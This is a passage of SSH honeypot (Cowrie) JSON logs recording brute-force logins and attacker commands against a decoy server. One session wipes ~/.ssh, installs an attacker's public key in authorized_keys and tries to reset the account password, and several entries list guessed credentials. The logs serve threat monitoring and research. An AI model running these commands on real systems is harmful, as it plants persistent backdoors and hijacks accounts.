failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T03:27:47.990483Z","src_ip":"103.185.53.93","session":"a444520dce37","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.8","message":"Connection lost after 2.8 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T03:27:48.242916Z","src_ip":"103.185.53.93","session":"a444520dce37","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"62.193.91.121","src_port":52814,"dst_ip":"10.17.0.5","dst_port":22,"session":"e73d2f52009a","protocol":"ssh","message":"New connection: 62.193.91.121:52814 (10.17.0.5:22) [session: e73d2f52009a]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T03:27:51.118869Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.9.6","message":"Remote SSH version: SSH-2.0-libssh_0.9.6","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T03:27:51.123155Z","src_ip":"62.193.91.121","session":"e73d2f52009a","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"f555226df1963d1d3c09daf865abdc9a","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","aes192-cbc","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: f555226df1963d1d3c09daf865abdc9a","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T03:27:51.265787Z","src_ip":"62.193.91.121","session":"e73d2f52009a","protocol":"ssh"}
{"eventid":"cowrie.login.success","username":"admin","password":"adminroot","message":"login attempt [admin/adminroot] succeeded","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T03:27:51.872388Z","src_ip":"62.193.91.121","session":"e73d2f52009a","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"27.71.230.31","src_port":35478,"dst_ip":"159.203.135.109","dst_port":22,"session":"528b1e13129b","protocol":"ssh","message":"New connection: 27.71.230.31:35478 (159.203.135.109:22) [session: 528b1e13129b]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T03:27:52.041947Z"}
{"eventid":"cowrie.session.params","arch":"linux-x64-lsb","message":[],"sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T03:27:52.198368Z","src_ip":"62.193.91.121","session":"e73d2f52009a","protocol":"ssh"}
{"eventid":"cowrie.command.input","input":"cd ~; chattr -ia .ssh; lockr -ia .ssh","message":"CMD: cd ~; chattr -ia .ssh; lockr -ia .ssh","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T03:27:52.201155Z","src_ip":"62.193.91.121","session":"e73d2f52009a","protocol":"ssh"}
{"eventid":"cowrie.command.failed","input":"lockr -ia .ssh","message":"Command not found: lockr -ia .ssh","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T03:27:52.204700Z","src_ip":"62.193.91.121","session":"e73d2f52009a","protocol":"ssh"}
{"eventid":"cowrie.log.closed","ttylog":"var/lib/cowrie/tty/c32b4937ce8564ea904a3bd2cb64805500ddfd28952a90fd55cb3c85d0be7644","size":92,"shasum":"c32b4937ce8564ea904a3bd2cb64805500ddfd28952a90fd55cb3c85d0be7644","duplicate":true,"duration":"0.3","message":"Closing TTY Log: var/lib/cowrie/tty/c32b4937ce8564ea904a3bd2cb64805500ddfd28952a90fd55cb3c85d0be7644 after 0.3 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T03:27:52.490051Z","src_ip":"62.193.91.121","session":"e73d2f52009a","protocol":"ssh"}
{"eventid":"cowrie.session.params","arch":"linux-x64-lsb","message":[],"sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T03:27:52.682884Z","src_ip":"62.193.91.121","session":"e73d2f52009a","protocol":"ssh"}
{"eventid":"cowrie.command.input","input":"cd ~ && rm -rf .ssh && mkdir .ssh && echo \"ssh-rsa AAAAB3NzaC1yc2EAAAABJQAAAQEArDp4cun2lhr4KUhBGE7VvAcwdli2a8dbnrTOrbMz1+5O73fcBOx8NVbUT0bUanUV9tJ2/9p7+vD0EpZ3Tz/+0kX34uAx1RV/75GVOmNx+9EuWOnvNoaJe0QXxziIg9eLBHpgLMuakb5+BgTFB+rKJAw9u9FSTDengvS8hX1kNFS4Mjux0hJOK8rvcEmPecjdySYMb66nylAKGwCEE6WEQHmd1mUPgHwGQ0hWCwsQk13yCGPK5w6hYp5zYkFnvlC8hGmd4Ww+u97k6pfTGTUbJk14ujvcD9iUKQTTWYYjIIu5PmUux5bsZ0R4WFwdIe6+i6rBLAsPKgAySVKPRK+oRw== mdrfckr\">>.ssh/authorized_keys && chmod -R go= ~/.ssh && cd ~","message":"CMD: cd ~ && rm -rf .ssh && mkdir .ssh && echo \"ssh-rsa AAAAB3NzaC1yc2EAAAABJQAAAQEArDp4cun2lhr4KUhBGE7VvAcwdli2a8dbnrTOrbMz1+5O73fcBOx8NVbUT0bUanUV9tJ2/9p7+vD0EpZ3Tz/+0kX34uAx1RV/75GVOmNx+9EuWOnvNoaJe0QXxziIg9eLBHpgLMuakb5+BgTFB+rKJAw9u9FSTDengvS8hX1kNFS4Mjux0hJOK8rvcEmPecjdySYMb66nylAKGwCEE6WEQHmd1mUPgHwGQ0hWCwsQk13yCGPK5w6hYp5zYkFnvlC8hGmd4Ww+u97k6pfTGTUbJk14ujvcD9iUKQTTWYYjIIu5PmUux5bsZ0R4WFwdIe6+i6rBLAsPKgAySVKPRK+oRw== mdrfckr\">>.ssh/authorized_keys && chmod -R go= ~/.ssh && cd ~","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T03:27:52.685765Z","src_ip":"62.193.91.121","session":"e73d2f52009a","protocol":"ssh"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T03:27:52.792593Z","src_ip":"27.71.230.31","session":"528b1e13129b","protocol":"ssh"}
{"eventid":"cowrie.session.file_download","duplicate":true,"outfile":"var/lib/cowrie/downloads/a8460f446be540410004b1a8db4083773fa46f7fe76fa84219c93daa1669f8f2","shasum":"a8460f446be540410004b1a8db4083773fa46f7fe76fa84219c93daa1669f8f2","destfile":"/home/admin/.ssh/authorized_keys","message":"Saved redir contents with SHA-256 a8460f446be540410004b1a8db4083773fa46f7fe76fa84219c93daa1669f8f2 to var/lib/cowrie/downloads/a8460f446be540410004b1a8db4083773fa46f7fe76fa84219c93daa1669f8f2","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T03:27:52.834252Z","src_ip":"62.193.91.121","session":"e73d2f52009a","protocol":"ssh"}
{"eventid":"cowrie.log.closed","ttylog":"var/lib/cowrie/tty/cc1eb03e9b5926d8076e25826664a04400de854bf5cc660fa35eb86cbdf7dc0f","size":0,"shasum":"cc1eb03e9b5926d8076e25826664a04400de854bf5cc660fa35eb86cbdf7dc0f","duplicate":true,"duration":"0.2","message":"Closing TTY Log: var/lib/cowrie/tty/cc1eb03e9b5926d8076e25826664a04400de854bf5cc660fa35eb86cbdf7dc0f after 0.2 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T03:27:52.837771Z","src_ip":"62.193.91.121","session":"e73d2f52009a","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"62.193.91.121","src_port":52824,"dst_ip":"10.17.0.5","dst_port":22,"session":"dfc9bf779504","protocol":"ssh","message":"New connection: 62.193.91.121:52824 (10.17.0.5:22) [session: dfc9bf779504]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T03:27:52.973181Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.9.6","message":"Remote SSH version: SSH-2.0-libssh_0.9.6","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T03:27:52.977896Z","src_ip":"62.193.91.121","session":"dfc9bf779504","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"f555226df1963d1d3c09daf865abdc9a","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","aes192-cbc","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: f555226df1963d1d3c09daf865abdc9a","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T03:27:53.123326Z","src_ip":"62.193.91.121","session":"dfc9bf779504","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T03:27:53.380437Z","src_ip":"27.71.230.31","session":"528b1e13129b","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"345gs5662d34","password":"345gs5662d34","message":"login attempt [345gs5662d34/345gs5662d34] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T03:27:53.730330Z","src_ip":"62.193.91.121","session":"dfc9bf779504","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"147.45.199.80","src_port":59660,"dst_ip":"10.17.0.5","dst_port":22,"session":"231669fc96fa","protocol":"ssh","message":"New connection: 147.45.199.80:59660 (10.17.0.5:22) [session: 231669fc96fa]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T03:27:53.745217Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T03:27:53.748600Z","src_ip":"147.45.199.80","session":"231669fc96fa","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T03:27:53.849121Z","src_ip":"147.45.199.80","session":"231669fc96fa","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"11071993","message":"login attempt [root/11071993] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T03:27:54.154988Z","src_ip":"147.45.199.80","session":"231669fc96fa","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.9","message":"Connection lost after 1.9 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T03:27:54.884097Z","src_ip":"62.193.91.121","session":"dfc9bf779504","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"62.193.91.121","src_port":52836,"dst_ip":"10.17.0.5","dst_port":22,"session":"cfee9880e242","protocol":"ssh","message":"New connection: 62.193.91.121:52836 (10.17.0.5:22) [session: cfee9880e242]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T03:27:55.022589Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.9.6","message":"Remote SSH version: SSH-2.0-libssh_0.9.6","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T03:27:55.026824Z","src_ip":"62.193.91.121","session":"cfee9880e242","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"f555226df1963d1d3c09daf865abdc9a","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","aes192-cbc","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: f555226df1963d1d3c09daf865abdc9a","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T03:27:55.169670Z","src_ip":"62.193.91.121","session":"cfee9880e242","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"User2023","message":"login attempt [root/User2023] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T03:27:55.200784Z","src_ip":"27.71.230.31","session":"528b1e13129b","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.5","message":"Connection lost after 1.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T03:27:55.257713Z","src_ip":"147.45.199.80","session":"231669fc96fa","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"admin","password":"3245gs5662d34","message":"login attempt [admin/3245gs5662d34] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T03:27:55.775859Z","src_ip":"62.193.91.121","session":"cfee9880e242","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"4.4","message":"Connection lost after 4.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T03:27:56.461430Z","src_ip":"27.71.230.31","session":"528b1e13129b","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.9","message":"Connection lost after 1.9 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T03:27:56.923139Z","src_ip":"62.193.91.121","session":"cfee9880e242","protocol":"ssh"}
{"eventid":"cowrie.session.params","arch":"linux-x64-lsb","message":[],"sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T03:27:57.110646Z","src_ip":"62.193.91.121","session":"e73d2f52009a","protocol":"ssh"}
{"eventid":"cowrie.command.input","input":"cat /proc/cpuinfo | grep name | wc -l","message":"CMD: cat /proc/cpuinfo | grep name | wc -l","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T03:27:57.113384Z","src_ip":"62.193.91.121","session":"e73d2f52009a","protocol":"ssh"}
{"eventid":"cowrie.log.closed","ttylog":"var/lib/cowrie/tty/3f1f9a5db692d999bb3d576b5e9956a242136e961ff3f52ba6202b1254ccdb99","size":2,"shasum":"3f1f9a5db692d999bb3d576b5e9956a242136e961ff3f52ba6202b1254ccdb99","duplicate":true,"duration":"0.3","message":"Closing TTY Log: var/lib/cowrie/tty/3f1f9a5db692d999bb3d576b5e9956a242136e961ff3f52ba6202b1254ccdb99 after 0.3 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T03:27:57.403575Z","src_ip":"62.193.91.121","session":"e73d2f52009a","protocol":"ssh"}
{"eventid":"cowrie.session.params","arch":"linux-x64-lsb","message":[],"sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T03:27:57.602264Z","src_ip":"62.193.91.121","session":"e73d2f52009a","protocol":"ssh"}
{"eventid":"cowrie.command.input","input":"echo -e \"adminroot\\n4PnjQvgYKpDi\\n4PnjQvgYKpDi\"|passwd|bash","message":"CMD: echo -e \"adminroot\\n4PnjQvgYKpDi\\n4PnjQvgYKpDi\"|passwd|bash","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T03:27:57.606528Z","src_ip":"62.193.91.121","session":"e73d2f52009a","protocol":"ssh"}
{"eventid":"cowrie.command.input","input":"Enter new UNIX password: ","message":"CMD: Enter new UNIX password: ","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T03:27:57.610649Z","src_ip":"62.193.91.121","session":"e73d2f52009a","protocol":"ssh"}
{"eventid":"cowrie.command.failed","input":"Enter new UNIX password:","message":"Command not found: Enter new UNIX password:","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T03:27:57.614097Z","src_ip":"62.193.91.121","session":"e73d2f52009a","protocol":"ssh"}
{"eventid":"cowrie.log.closed","ttylog":"var/lib/cowrie/tty/0ad4987749cff249dc161d746545906833a3c91b2576a0a35c39419ea6e2fd6b","size":32,"shasum":"0ad4987749cff249dc161d746545906833a3c91b2576a0a35c39419ea6e2fd6b","duplicate":false,"duration":"0.3","message":"Closing TTY Log: var/lib/cowrie/tty/0ad4987749cff249dc161d746545906833a3c91b2576a0a35c39419ea6e2fd6b after 0.3 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T03:27:57.901752Z","src_ip":"62.193.91.121","session":"e73d2f52009a","protocol":"ssh"}
{"eventid":"cowrie.session.params","arch":"linux-x64-lsb","message":[],"sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T03:27:58.107896Z","src_ip":"62.193.91.121","session":"e73d2f52009a","protocol":"ssh"}
{"eventid":"cowrie.command.input","input":"echo \"adminroot\\n4PnjQvgYKpDi\\n4PnjQvgYKpDi\\n\"|passwd","message":"CMD: echo \"adminroot\\n4PnjQvgYKpDi\\n4PnjQvgYKpDi\\n\"|passwd","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T03:27:58.111816Z","src_ip":"62.193.91.121","session":"e73d2f52009a","protocol":"ssh"}
{"eventid":"cowrie.log.closed","ttylog":"var/lib/cowrie/tty/cf9257af1343d3ad001806c597255708856f1bbeac7c3da939ff389fac5b0da4","size":25,"shasum":"cf9257af1343d3ad001806c597255708856f1bbeac7c3da939ff389fac5b0da4","duplicate":false,"duration":"0.3","message":"Closing TTY Log: var/lib/cowrie/tty/cf9257af1343d3ad001806c597255708856f1bbeac7c3da939ff389fac5b0da4 after 0.3 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T03:27:58.397881Z","src_ip":"62.193.91.121","session":"e73d2f52009a","protocol":"ssh"}
{"eventid":"cowrie.session.params","arch":"linux-x64-lsb","message":[],"sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T03:27:58.589473Z","src_ip":"62.193.91.121","session":"e73d2f52009a","protocol":"ssh"}
{"eventid":"cowrie.command.input","input":"cat /proc/cpuinfo | grep name | head -n 1 | awk '{print $4,$5,$6,$7,$8,$9;}'","message":"CMD: cat /proc/cpuinfo | grep name | head -n 1 | awk '{print $4,$5,$6,$7,$8,$9;}'","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T03:27:58.593337Z","src_ip":"62.193.91.121","session":"e73d2f52009a","protocol":"ssh"}
{"eventid":"cowrie.log.closed","ttylog":"var/lib/cowrie/tty/95df9ab820c0b94e87412330a566c7e47ceef0cfc297bbe2c51a198d1b017abe","size":35,"shasum":"95df9ab820c0b94e87412330a566c7e47ceef0cfc297bbe2c51a198d1b017abe","duplicate":true,"duration":"0.3","message":"Closing TTY Log: var/lib/cowrie/tty/95df9ab820c0b94e87412330a566c7e47ceef0cfc297bbe2c51a198d1b017abe after 0.3 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T03:27:58.882131Z","src_ip":"62.193.91.121","session":"e73d2f52009a","protocol":"ssh"}
{"eventid":"cowrie.session.params","arch":"linux-x64-lsb","message":[],"sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T03:27:59.097383Z","src_ip":"62.193.91.121","session":"e73d2f52009a","protocol":"ssh"}
